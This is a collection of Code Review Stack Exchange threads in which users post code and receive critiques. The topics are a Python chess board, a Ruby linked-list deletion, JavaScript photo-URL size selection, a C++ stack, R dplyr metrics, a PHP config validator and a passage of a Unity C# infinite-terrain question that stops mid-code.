[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T00:41:44.853", "Id": "452598", "Score": "0", "body": "Sorry to those who worked on reviews prior to these edits. Being unclear as to what a follow-up would be in this context lead me to make things more complicated than they are. Edits are final on my end; happy reviewing!" } ]
[ { "body": "<p>This is some nice polished code. I have just a few remarks.</p>\n\n<p>When initializing ELEMENTS, the piece names get pasted in twice.\nPerhaps you'd like to loop over them,\nadding a black and a white variant to the dict?\nYou might even associate the proper unicode code point\nwith each enum member, rather than calling <code>auto()</code>.</p>\n\n<blockquote>\n<pre><code> [(Color.BLACK, Piece.PAWN) for _ in range(8)],\n</code></pre>\n</blockquote>\n\n<p>You have nice helpers everywhere.\nExcept for the two lines about pawns.\nMaybe you'd like a <code>get_pawns(color)</code> function?</p>\n\n<p>Instead of enumerating <code>row</code> and then doing this:</p>\n\n<blockquote>\n<pre><code> piece = ELEMENTS.get(piece)\n</code></pre>\n</blockquote>\n\n<p>consider running enumerate over <code>map(ELEMENTS.get, row)</code>.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-19T21:56:37.810", "Id": "232663", "ParentId": "231915", "Score": "1" } } ]
{ "AcceptedAnswerId": "232663", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T19:45:05.557", "Id": "231915", "Score": "8", "Tags": [ "python", "python-3.x", "chess", "unicode" ], "Title": "Printing Colored, CLId Unicode Chess Board - follow-up" }
231915
<p>Currently, I'm going over the CTCI, I'm working on the problem removing the middle node. I'm using Ruby to go over these problems. I have the following solution.</p> <pre><code> def remove_middle_node node = @head count = 1 while(node = node.next ) count += 1 end # reset node to point to head node = @head middle = (count / 2) count = 1 while(node = node.next) if(count == (middle - 1)) node.next = node.next.next return end count += 1 end end </code></pre> <p>Instead of having a <code>previos_node</code> I subtract one from the middle. In this case when traversing the Linked List, when I get to the <code>(middle - 1)</code>, meaning the previous node before the middle node in the linked list. I delete the middle node and set it to next.</p> <p>I would like to get feedback on this implementation. In my understanding, this is <code>O(n)</code> and time complexity is also <code>O(n)</code>. Although I warn you, this Big O notation still a bit unclear to me so time and space complexity might be wrong.</p> <p>Here is the full Linked List class.</p> <p><a href="https://github.com/theasteve/ds_and_algos/blob/master/linked_list.rb" rel="nofollow noreferrer">https://github.com/theasteve/ds_and_algos/blob/master/linked_list.rb</a> here is the test I used.</p> <pre><code># TEST list = LinkedList.new list.append(1) list.append(2) list.append(8) list.append(3) list.append(7) list.append(0) list.append(4) list.display puts '-----------------------------------' list.remove_middle_node list.display </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T07:26:24.163", "Id": "452619", "Score": "0", "body": "I don't get what `this` is in `this is O(n) and time complexity is also O(n)`. Then, constant additional space would be in *O(n)* space as well as in *O(1)* space: if you think an upper bound to be tight, mention that or use *Θ*." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T07:26:29.787", "Id": "452620", "Score": "0", "body": "The wording of *2.3 Delete Middle Node* is notably different: *delete a node in the middle (i.e., any node but the first and last node, not necessarily the exact middle) of a singly linked list, given only access to that node*." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T08:02:11.687", "Id": "452621", "Score": "0", "body": "`I delete the middle node …` I don't see that `… and set it to next` I see setting the predecessor's successor to the middle node's one." } ]
[ { "body": "<ul>\n<li><a href=\"https://github.com/ruby/rdoc\" rel=\"nofollow noreferrer\">document/comment your code. In the code.</a></li>\n<li>re-checking <code>.next</code> in the second loop is unusually defensive</li>\n<li>do not have a comment repeat what a statement \"does\" (<code>reset node to point to head</code>):<br>\nhave it illuminate what is achieved/<em>what-for/why</em> something is done (the way it is)</li>\n<li>the ruby way to have a statement executed, say, <code>middle</code> times may be \n\n<pre class=\"lang-rb prettyprint-override\"><code>middle.times do\n node = node.next\n</code></pre></li>\n</ul>\n\n<p>(Eyeballing <code>remove_middle_node</code>, it uses <em>O(1)</em> additional space and <em>Θ(n)</em> time.)</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T08:22:13.290", "Id": "452622", "Score": "0", "body": "(One advantage of using a variable iterating the list half as fast would be the possibility to detect cycles and ensure termination.)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-12-06T09:26:42.153", "Id": "456565", "Score": "0", "body": "My Ruby was nothing to boast when it was best." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T08:03:39.793", "Id": "231944", "ParentId": "231917", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T19:55:28.177", "Id": "231917", "Score": "1", "Tags": [ "algorithm", "ruby", "linked-list" ], "Title": "Ruby: Remove middle node from Linked List" }
231917
<p>So this original piece of code:</p> <pre><code>const imgUrls = {}; function onXhrLoad() { const json = JSON.parse(this.response); const photos = json.photos ? json.photos.photo : [json.photo]; for (const {id, url_o} of photos) { imgUrls[id] = url_o; } } </code></pre> <p>The original code assumed that the biggest available url to an image in the object "photos" is "url_o", but sometimes that size is not available so I wanted to change the "url_o" in the last 2 lines to the biggest size available in "photos" using the array size (array "size" in the modified code is the order of sizes from biggest to smallest).</p> <p>so I modified the code as follows:</p> <pre><code>const imgUrls = {}; const sizes = ['url_o', 'url_6k', 'url_5k', 'url_4k', 'url_3k', 'url_k', 'url_h', 'url_l']; function onXhrLoad() { const json = JSON.parse(this.response); const photos = json.photos ? json.photos.photo : [json.photo]; for (var p of photos) { for (var s of sizes) { if (s in p) { var url = p[s]; break; } } const id = p.id; imgUrls[id] = url; } } </code></pre> <p>As requested in a comment, there is an example response at this <a href="https://pastebin.com/463BDnGD" rel="nofollow noreferrer">link</a>. In this response there is no <code>url_o</code>, the biggest is <code>url_6k</code></p> <p>My question is if there is a better way to change the <code>"url_o"</code> than going through two for loops and an if condition. </p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T21:45:47.503", "Id": "452582", "Score": "0", "body": "Can you add sample `responses` to your question to add more context?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T21:56:27.623", "Id": "452584", "Score": "0", "body": "To close voters, there is enough context for me (once we have a JSON sample)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T22:06:40.410", "Id": "452588", "Score": "0", "body": "The response is huge, will add it in an external link then" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T22:17:27.753", "Id": "452589", "Score": "1", "body": "@konijn I added the code for the response" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T00:39:07.400", "Id": "452597", "Score": "3", "body": "Consider also editing the post title to summarize the purpose of the code (as per the watermark text in the title field) - as it stands *every single on-topic question on this site* could have that exact same title: this question is implicit in every CR post - rule of thumb, if your title is worded like a question, it's probably a poor title for your CR post (yes, we realize this isn't necessarily obvious given we're technically a Q&A site ;-)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T09:37:58.947", "Id": "452646", "Score": "0", "body": "@MathieuGuindon I couldn't think of a way to describe the action, strangely enough now that I have an answer I know what I should have named the Title :D\nbut will try harder next to put a better title, thanks for the tip !" } ]
[ { "body": "<ul>\n<li><p><em>find the first \"biggest\" url size name</em>. A more convenient way is using <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/find\" rel=\"nofollow noreferrer\"><strong>Array.prototype.find()</strong></a> method:</p></li>\n<li><p><code>p.id</code> can be used directly as a key for object <code>imgUrls</code> - instead of generating constant <code>const id = p.id;</code> for each <code>p</code>(photo)</p></li>\n</ul>\n\n<hr>\n\n<pre><code>const imgUrls = {};\nconst sizes = ['url_o', 'url_6k', 'url_5k', 'url_4k', 'url_3k', 'url_k', 'url_h', 'url_l'];\n\n\nfunction onXhrLoad() {\n const json = JSON.parse(js);\n const photos = json.photos ? json.photos.photo : [json.photo];\n for (var p of photos) { \n imgUrls[p.id] = p[sizes.find((s) =&gt; p[s])];\n }\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T09:32:03.787", "Id": "452642", "Score": "0", "body": "Thank you, that seems to do the trick.\njust to make sure I understand what you did correctly, does this mean that \"sizes.find\" will take the first entry of \"sizes\" name it \"s\" and check if it exists in \"p\", if it does, it will use that value of \"s\", if not it will move on to the next entry in \"s\" in order check again and keep on going and until it finds a match?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T09:36:04.190", "Id": "452644", "Score": "1", "body": "@Vagabond, Yes, you got it right" } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T06:12:47.660", "Id": "231937", "ParentId": "231918", "Score": "4" } } ]
{ "AcceptedAnswerId": "231937", "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T20:30:47.880", "Id": "231918", "Score": "3", "Tags": [ "javascript", "userscript" ], "Title": "JSON photo data parsing" }
231918
<p>Just started learning/relearning data structures for the semester exams. Most of the examples found online are too cluttered or bloated.</p> <p>For myself, I implemented it from theory I learned. </p> <p>It works. </p> <p>I want to know if there are any mistake that I have done, anything that can be improved .. .</p> <p>Thanks for your time :)</p> <pre><code>#include "iostream" using namespace std; struct Node{ struct Node* prev; int data; struct Node* next; }; Node* top = NULL; bool isempty(){ return top-&gt;prev == NULL; } void push(int data){ struct Node* newnode; newnode = new Node(); if(!newnode){ cout &lt;&lt; "Heap Overflow" &lt;&lt; endl; } newnode-&gt;prev = top; newnode-&gt;data = data; newnode-&gt;next = NULL; top = newnode; } void pop(){ if(isempty()){ cout &lt;&lt; "Stack Underflow"; exit(1); } struct Node* tmp; tmp = new Node(); tmp-&gt;next = NULL; tmp-&gt;data = top-&gt;prev-&gt;data; tmp-&gt;prev = top-&gt;prev-&gt;prev; free(top); top = tmp; } void display(){ struct Node* itr; itr = top; cout &lt;&lt; itr-&gt;data &lt;&lt; " "; while(itr-&gt;prev != NULL){ cout &lt;&lt; itr-&gt;prev-&gt;data &lt;&lt; " "; itr = itr-&gt;prev; } cout &lt;&lt; endl; } int main(){ push(10); push(20); push(30); push(40); push(50); pop(); display(); pop(); display(); pop(); display(); pop(); display(); pop(); return 0; } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T00:35:00.933", "Id": "452596", "Score": "0", "body": "Welcome to Code Review! You can take the [tour] for an overview of our site. I have added the [reinventing-the-wheel] tag for you. This tag is appropriate for questions that re-implement existing functionalities for whatever reason (e.g., learning or fun)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T08:33:45.690", "Id": "452772", "Score": "0", "body": "Isn't this actualy a stack implemented as doubly linked list, instead of the other way around? And if so, why doubly linked list? You only need one way linked list to implement stack." } ]
[ { "body": "<p>Welcome to Code Review!</p>\n\n<h1>Bugs</h1>\n\n<p>For every node you insert, <code>next</code> is null.</p>\n\n<h1>Encapsulation</h1>\n\n<p>Your code is written almost exclusively using C features. First things first, instead of using a single global variable, use a class to encapsulate the data structure.</p>\n\n<pre><code>class Stack {\npublic:\n Stack() = default;\n Stack(const Stack&amp;) = delete;\n Stack&amp; operator=(const Stack&amp;) = delete;\n ~Stack();\n\n void push(int data);\n void pop();\n void display() const;\n bool empty() const { return top == nullptr; }\nprivate:\n struct Node {\n int data;\n Node* prev;\n Node* next;\n };\n Node* top = nullptr;\n};\n</code></pre>\n\n<p>The way the function works is exactly the same. A destructor should be provided to systematically handle memory deallocation:</p>\n\n<pre><code>Stack::~Stack()\n{\n while (!empty()) {\n pop();\n }\n}\n</code></pre>\n\n<p>Now <code>Stack</code> can be used like a normal C++ container:</p>\n\n<pre><code>int main()\n{\n Stack stack1;\n stack1.push(3);\n stack1.push(1);\n stack1.push(4);\n stack1.display();\n stack1.pop();\n stack1.display();\n\n Stack stack2;\n // stack2 is a stack independent from stack1\n} // the existing nodes are automatically freed when the main function returns\n</code></pre>\n\n<h1>Miscellaneous</h1>\n\n<p><code>#include \"...\"</code> is for your own headers. For standard headers, use <code>#include &lt;iostream&gt;</code>.</p>\n\n<p><code>using namespace std;</code> at global level is considered bad practice and should be avoided because it defeats the purpose of namespaces and introduce name clashes. You will have trouble using identifiers as common as <code>size</code> or <code>count</code>. See <a href=\"https://stackoverflow.com/q/1452721\">Why is <code>using namespace std;</code> considered bad practice?</a></p>\n\n<p>A class can be referred to directly with its name. You don't need to add <code>struct</code>. So instead of <code>struct Node*</code>, just say <code>Node*</code>.</p>\n\n<p>Instead of <code>NULL</code>, use <code>nullptr</code> for null pointer constants.</p>\n\n<p>It's more common to write functions in this way:</p>\n\n<pre><code>bool isempty()\n{\n // ...\n}\n</code></pre>\n\n<p>Instead of declaring a variable uninitialized and then assigning to it immediately, use initialization.</p>\n\n<p>The <code>push</code> and <code>pop</code> functions are way too convoluted. Remember you are implementing a stack, not a complete doubly linked list. Aggregate initialization with <code>new</code> can be used to simplify the code:</p>\n\n<pre><code>void Stack::push(int value)\n{\n top = new Node{value, top, nullptr};\n if (auto old = top-&gt;prev) {\n old-&gt;next = top;\n }\n}\n\nvoid Stack::pop()\n{\n if (empty()) {\n throw Stack_underflow{};\n }\n delete std::exchange(top, top-&gt;prev);\n}\n</code></pre>\n\n<p>Note that heap overflow is not something you need to worry about because <code>new</code> already throws an appropriate exception on allocation failure. Also, do not free memory allocated by <code>new</code> with <code>free</code>. This is undefined behavior. Use <code>new</code> with <code>delete</code> instead.</p>\n\n<p>When an error happens, throw an exception instead of printing a message and then exiting or even continuing execution. There is not always an open <code>stdout</code> file, and if it exists, that's now how everyone wants error to be handled. Throwing an exception allows the user to handle it in the convenient way.</p>\n\n<p>The <code>while</code> loop in the display function should have been simplified with a <code>for</code> loop:</p>\n\n<pre><code>for (Node* itr = top; itr; itr = itr-&gt;prev) {\n std::cout &lt;&lt; itr-&gt;data &lt;&lt; '\\n';\n}\n</code></pre>\n\n<p>Note that <code>std::endl</code> should be avoided when you don't need the flushing semantics. Unnecessary flushing can cause performance degradation. See <a href=\"https://stackoverflow.com/q/213907\"><code>std::endl</code> vs <code>\\n</code></a>.</p>\n\n<p><code>return 0;</code> can be omitted in a <code>main</code> function.</p>\n\n<h1>Refined version</h1>\n\n<p>Putting everything together:</p>\n\n<pre><code>#include &lt;iostream&gt;\n#include &lt;stdexcept&gt;\n#include &lt;utility&gt;\n\nstruct Stack_underflow :std::exception {};\n\nclass Stack {\npublic:\n Stack() = default;\n Stack(const Stack&amp;) = delete;\n Stack&amp; operator=(const Stack&amp;) = delete;\n ~Stack();\n\n void push(int value);\n void pop();\n void display() const;\n bool empty() const { return top == nullptr; }\nprivate:\n struct Node {\n int data;\n Node* prev;\n Node* next;\n };\n Node* top = nullptr;\n};\n\nStack::~Stack()\n{\n while (!empty()) {\n pop();\n }\n}\n\nvoid Stack::push(int value)\n{\n top = new Node{value, top, nullptr};\n if (auto old = top-&gt;prev) {\n old-&gt;next = top;\n }\n}\n\nvoid Stack::pop()\n{\n if (empty()) {\n throw Stack_underflow{};\n }\n delete std::exchange(top, top-&gt;prev);\n}\n\nvoid Stack::display() const\n{\n for (auto it = top; it; it = it-&gt;prev) {\n std::cout &lt;&lt; it-&gt;data &lt;&lt; ' ';\n }\n std::cout &lt;&lt; '\\n';\n}\n\nint main()\n{\n Stack stack;\n stack.push(1);\n stack.push(2);\n stack.push(3);\n stack.push(4);\n stack.push(5);\n\n stack.pop();\n stack.display();\n stack.pop();\n stack.display();\n}\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>4 3 2 1 \n3 2 1 \n</code></pre>\n\n<p>(<a href=\"https://wandbox.org/permlink/5xgI53mz5YziXoCK\" rel=\"nofollow noreferrer\">live demo</a>)</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T08:38:38.907", "Id": "452774", "Score": "0", "body": "Let me just note that the `display()` method should not be a member. It can be `std::basic_ostream & operator<<(std::basic_ostream &, const Stack &);` instead (but it would have to be made friend of the `Stack` and let `Node *top` be protected, or otherwise accessible by the operator overload)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-07T09:00:26.787", "Id": "452775", "Score": "0", "body": "@slepic That’s right. I guess that’s a bit too much for the “semester exams” though." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T01:37:34.367", "Id": "231926", "ParentId": "231919", "Score": "4" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T21:58:34.793", "Id": "231919", "Score": "6", "Tags": [ "c++", "linked-list", "reinventing-the-wheel", "stack" ], "Title": "Doubly Linked List using Stack in c++" }
231919
<p>The following code computes three different features over the same dataset. I'm not sure if the <code>filter_by_day_segment</code> function can be made tidy or there's a more efficient/short but still readable way of refactor my code.</p> <pre><code> library(dplyr) filter_by_day_segment &lt;- function(data, day_segment){ if(day_segment == "daily"){ return(data %&gt;% group_by(local_date)) } else { return(data %&gt;% filter(day_segment == local_day_segment) %&gt;% group_by(local_date)) } } compute_metric &lt;- function(data, metric, day_segment){ if(metric == "countscans"){ data &lt;- filter_by_day_segment(data, day_segment) return(data %&gt;% summarise(!!paste("sensor", day_segment, metric, sep = "_") := n())) }else if(metric == "uniquedevices"){ data &lt;- filter_by_day_segment(data, day_segment) return(data %&gt;% summarise(!!paste("sensor", day_segment, metric, sep = "_") := n_distinct(value))) } else if(metric == "countscansmostuniquedevice"){ data &lt;- data %&gt;% group_by(value) %&gt;% mutate(N=n()) %&gt;% ungroup() %&gt;% filter(N == max(N)) data &lt;- filter_by_day_segment(data, day_segment) return(data %&gt;% summarise(!!paste("sensor", day_segment, metric, sep = "_") := n())) } } data &lt;- read.csv("test.csv") day_segment &lt;- "daily" metrics &lt;- c("countscans", "uniquedevices", "countscansmostuniquedevice") features = data.frame() for(metric in metrics){ feature &lt;- compute_metric(data, metric, day_segment) if(nrow(features) == 0){ features &lt;- feature } else{ features &lt;- merge(features, feature, by="local_date", all = TRUE) } } print(features) </code></pre> <p>A test CSV file</p> <pre><code>"local_date","value" "2018-05-21","FC:44" "2018-05-21","FC:58" "2018-05-21","FF:7E" "2018-05-21","F8:77" "2018-05-21","F8:77" "2018-05-22","FB:F1" "2018-05-22","FC:62" "2018-05-22","FE:D4" "2018-05-22","FE:D4" "2018-05-22","FC:F1" "2018-05-23","F8:77" "2018-05-23","F8:77" "2018-05-23","FF:13" "2018-05-23","F8:3F" "2018-05-23","F8:3F" "2018-05-23","F8:3F" "2018-05-23","FC:B6" "2018-05-24","FC:0D" "2018-05-24","F8:3F" "2018-05-24","F7:B6" "2018-05-24","F6:96" "2018-05-24","F6:96" "2018-05-24","F6:96" "2018-05-24","F6:96" "2018-05-24","F6:96" "2018-05-24","F6:96" "2018-05-24","F6:96" "2018-05-25","FC:A8" "2018-05-25","FC:44" "2018-05-25","FC:44" "2018-05-25","FC:44" "2018-05-25","FC:44" "2018-05-25","FC:44" "2018-05-25","FC:44" "2018-05-25","FC:44" "2018-05-25","FC:44" "2018-05-26","FC:F1" "2018-05-26","FC:A8" "2018-05-26","FF:89" "2018-05-26","FF:89" "2018-05-26","FF:89" </code></pre>
[]
[ { "body": "<p>If I was reviewing this code professionally, my first comment would be that you should stick to a style guide. This will govern things like spacing between statements, brackets, operators etc. It can be seen as a kind of nitpicky remark (I certainly did at first) but having a consistent style massively aids readability for you and for others.</p>\n\n<p>The second (style) comment would be that your code is halfway between very pipe-based code and \"standard\" R style (lots of assignment). This makes it difficult to read. If you're going to go with pipes, stick with it.</p>\n\n<p>Also, when using an ifelse with more than 2 conditions, it's often clearer to use a switch block. This reduces the potential for massive nested ifs, and should also discourage you from doing much branching within the if.</p>\n\n<p>I don't really like how similar the summarise calls are in each case. Ideally I would refactor that, but I think that is somewhat tricky due to how dplyr handles <code>n</code> and <code>n_distinct</code>.</p>\n\n<p>This is how I would rewrite your code, though I would also consult <a href=\"https://style.tidyverse.org/\" rel=\"nofollow noreferrer\">the tidyverse style guide</a> to see their recommendations -- I generally try to avoid programming with dplyr so I'm not that familiar with the style.</p>\n\n<pre class=\"lang-r prettyprint-override\"><code>filter_by_day_segment_refactor &lt;- function(data, day_segment) {\n ## Minimise the amount done within the if/else clause (also reduces duplication)\n if (day_segment == \"daily\") {\n fun &lt;- identity \n } else {\n fun &lt;- function(x) filter(x, day_segment == local_day_segment)\n }\n data %&gt;% fun() %&gt;% group_by(local_date)\n}\n\ncompute_metric_refactor &lt;- function(data, metric, day_segment) {\n ## 3 case switch block with just 1 pipe each, \n ## rather than 3 conditionals with a mix of\n ## pipes and assignment\n switch(metric, \n \"countscans\" = {\n data %&gt;% \n filter_by_day_segment(day_segment) %&gt;%\n summarise(!!paste(\"sensor\", day_segment, metric, sep = \"_\") := n())\n },\n \"uniquedevices\" = {\n data %&gt;%\n filter_by_day_segment(day_segment) %&gt;%\n summarise(!!paste(\"sensor\", day_segment, metric, sep = \"_\") := n_distinct(value))\n },\n \"countscansmostuniquedevice\" = {\n data %&gt;% group_by(value) %&gt;% \n mutate(N = n()) %&gt;% \n ungroup() %&gt;%\n filter(N == max(N)) %&gt;%\n filter_by_day_segment(day_segment) %&gt;%\n summarise(!!paste(\"sensor\", day_segment, metric, sep = \"_\") := n())\n }\n )\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-13T17:31:58.373", "Id": "232339", "ParentId": "231922", "Score": "2" } } ]
{ "AcceptedAnswerId": "232339", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T23:39:03.197", "Id": "231922", "Score": "1", "Tags": [ "r" ], "Title": "Computing features over the same dataframe" }
231922
<p>I have built a class which validates configuration data. Below is a very simplified version with only the code that's relevant to this question.</p> <pre><code>class configValidator { private $_errors = []; public function validate() { $this-&gt;errorGenerator(1, 'fail'); if ($this-&gt;_errors) return $this-&gt;_errors; $this-&gt;errorGenerator(2, 'pass'); if ($this-&gt;_errors) return $this-&gt;_errors; $this-&gt;errorGenerator(3, 'fail'); if ($this-&gt;_errors) return $this-&gt;_errors; $this-&gt;errorGenerator(4, 'fail'); if ($this-&gt;_errors) return $this-&gt;_errors; } private function errorGenerator($id, $string) { if ($string == 'fail') $this-&gt;_errors[] = 'an error occurred on ID ' . $id; } } $configValidator = new ConfigValidator(); $errors = $configValidator-&gt;validate(); if (!empty($errors)) { exit(json_encode($errors)); } else { echo 'config validations passed'; } </code></pre> <p>In the <code>validate()</code> method, it is important that errors are returned to the caller, if any exist, after each call to the <code>errorGenerator()</code> method. This is because in the actual version there are arrays with keys and subsequent calls to <code>errorGenerator()</code> are dependent on those array keys existing. If they don't exist, then PHP gives an "undefined index notice".</p> <p>As written above, the code operates as expected - it displays <code>["an error occurred on ID 1"]</code> in the browser and does not get as far as executing the other calls to the <code>errorGenerator()</code> method. This is the desired behavior.</p> <p>However, looking at the <code>validate()</code> method, it seems redundant to type this line 4 times<br> <code>if ($this-&gt;_errors) return $this-&gt;_errors;</code><br> so I experimented with stripping it out of the <code>validate()</code> method and putting that line into the <code>errorGenerator()</code> method like so:</p> <pre><code>public function validate() { $this-&gt;errorGenerator(1, 'fail'); $this-&gt;errorGenerator(2, 'pass'); $this-&gt;errorGenerator(3, 'fail'); $this-&gt;errorGenerator(4, 'fail'); } private function errorGenerator($id, $string) { if ($string == 'fail') $this-&gt;_errors[] = 'an error occurred on ID ' . $id; if ($this-&gt;_errors) return $this-&gt;_errors; } </code></pre> <p>This results in the browser displaying <code>config validations passed</code>, which is not the desired outcome. It makes sense that is what's being displayed because moving that line into the <code>errorGenerator()</code> method returns control to the <code>validate()</code> method rather than to the code that called the <code>validate()</code> method.</p> <p>I'm wondering if there's a way to refactor this code such that it returns the errors to the caller of <code>validate()</code>, yet does not repeat this line<br> <code>if ($this-&gt;_errors) return $this-&gt;_errors;</code></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T00:28:36.867", "Id": "452595", "Score": "0", "body": "I'd be interested in reviewing the actual code. \"subsequent calls to errorGenerator() are dependent on those array keys existing\" Is definitely a sign of code smell. There must be a better way to do this. Don't create hacks for errors" } ]
[ { "body": "<p>Honestly I have no idea what the class is supposed to do. It is not validating anything, there is no input. It just always fails on ID 1 (whatever that means), no matter what. You probably omited too much. And whatever is omited probably deserves a review on its own.</p>\n\n<p>There is no reason to have <code>private $_errors</code>. Change your checks so that the first passes and second fails. Then call validate() twice. The second call will not behave as expected. You better keep it as the method's local variable, or maybe you dont need a variable at all...</p>\n\n<p>Question is why are you returning array of errors, if you only ever return one?\nBut let's say you have reason, then your errorGenerator is doing too much anyway.</p>\n\n<pre><code>public function validate()\n{\n if (check1()) {\n return [$this-&gt;getErrorMessage(1)];\n }\n if (check2()) {\n return [$this-&gt;getErrorMessage(2)];\n }\n return [];\n}\n\nprivate function getErrorMessage(int $id)\n{\n return 'an error occurred on ID ' . $id;\n}\n</code></pre>\n\n<p>The check1, check2 methods represent something that is omited in your code samples...</p>\n\n<p>And actualy you can take it a step further and remove getErrorMessage and inline the messages instead. Specific message for each check. Error message \"an error occured on ID xy\" is a terrible one. </p>\n\n<p>Another way may be using exceptions, but to me it feels like abuse of exceptions. But I know there are a lot of devs who would disagree.</p>\n\n<p>And last point to say: It's not always possible to squash two lines into one line while retaining qualities like readability. If it was possible, every program (no matter the complexity) could then be written as a well readable one liner ;)</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T10:18:46.883", "Id": "452651", "Score": "0", "body": "In the actual code - by refactoring with the `if` statements and calling `$this->getErrorMessage()` within those, and converting `check1`, `check2` into `array_key_exists()`, these changes allowed for a single line of `if ($this->_errors) return $this->_errors;` at the end of the method." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T10:24:08.443", "Id": "452652", "Score": "1", "body": "@knot22 if a method returns array and last statement is `if ($this->_errors) return $this->_errors;` then that method does not fulfill its own contract as it does not return array when there are no errors. Just omit the `if($this->_errors)` and return them directly... Anyway its better to be local `$errors`, instead of property `$this->errors`, being property leads to corrupted state after first failed validation." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T10:30:54.323", "Id": "452653", "Score": "0", "body": "Stripped out the `if ($this->_errors)` - thanks for that pointer. Can you expound on the comment of \"being a property leads to corrupted state after first failed validation\"? I don't understand that part." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T11:05:57.390", "Id": "452656", "Score": "0", "body": "@knot22 check the second paragraph of my answer. Its explained there. In short the Array will agregate all errors from consecutive calls to validate()." } ], "meta_data": { "CommentCount": "4", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T07:23:18.710", "Id": "231942", "ParentId": "231923", "Score": "2" } } ]
{ "AcceptedAnswerId": "231942", "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T00:24:07.287", "Id": "231923", "Score": "0", "Tags": [ "php" ], "Title": "returning control to caller" }
231923
<p>So I'm creating a unity3D game with infinite terrain and it's going great! However, I'm struggling with a specific but important part of the 'infinite' terrain. Make the terrain actually infinite. I got it working but it's very slow and I've looked through the code and at the profiler that unity has built in and came to the conclusion that it's my 2D for-loop that's slowing down the game. (VERY small freezes)</p> <p>Let me explain... so I have a total of 3 lists keeping track of all the chunk gameobjects in the scene for that player. One for the active chunks, one for the inactive chunks, and one for all the chunks in the scene. In the beginning I spawn the chunks around the player in a circle around the player (size defined by a radius variable) and then all those chunks get added to the active and all chunks lists. Then I check if the player has moved one chunk of distance every frame (which isn't really slow at all) and if the player has moved one chunk of distance in any direction it calls a infinite terrain method that does this:</p> <p>It loops through the ALL chunks list and checks their distance if they are farther then the radius variable. If it is then it adds it to the unloaded chunk list queue. THEN: It's a 2D for-loop (nested for loops) that loop through a square area around the players current position. It then checks if that position in that point in the loop has a chunk by looking finding if the loaded chunks list (it's a dictionary) has that current position in it. If it doesn't then that means that positions needs a chunk.. it dequeues a chunk from the unloaded chunks queue and loads it in that position and then adds it to the loaded chunks list.</p> <pre><code>private List&lt;GameObject&gt; allChunks = new List&lt;GameObject&gt;(); private Dictionary&lt;GameObject, Vector2&gt; loadedChunks = new Dictionary&lt;GameObject, Vector2&gt;(); private Queue&lt;GameObject&gt; unloadedChunks = new Queue&lt;GameObject&gt;(); private void InfiniteWorld() { // Check for unloaded chunks and unload them for (int i = 0; i &lt; allChunks.Count; i++) { if (loadedChunks.ContainsKey(allChunks[i])) { float distFromCenter = Vector2.Distance(new Vector2(Mathf.FloorToInt(allChunks[i].transform.position.x / chunkSize), Mathf.FloorToInt(allChunks[i].transform.position.z / chunkSize)), new Vector2(Mathf.FloorToInt(transform.position.x / chunkSize), Mathf.FloorToInt(transform.position.z / chunkSize))); //Mathf.Sqrt(Mathf.Pow(Mathf.Abs(Mathf.FloorToInt(allChunks[i].transform.position.x / chunkSize) - Mathf.FloorToInt(transform.position.x / chunkSize)), 2) + Mathf.Pow(Mathf.Abs(Mathf.FloorToInt(allChunks[i].transform.position.z / chunkSize) - Mathf.FloorToInt(transform.position.z / chunkSize)), 2)); if (distFromCenter &gt;= worldRadius) { // If there is a chunk farther then our render distance unload it. loadedChunks.Remove(allChunks[i]); unloadedChunks.Enqueue(allChunks[i]); allChunks[i].GetComponent&lt;Chunk&gt;().Unload(); } } 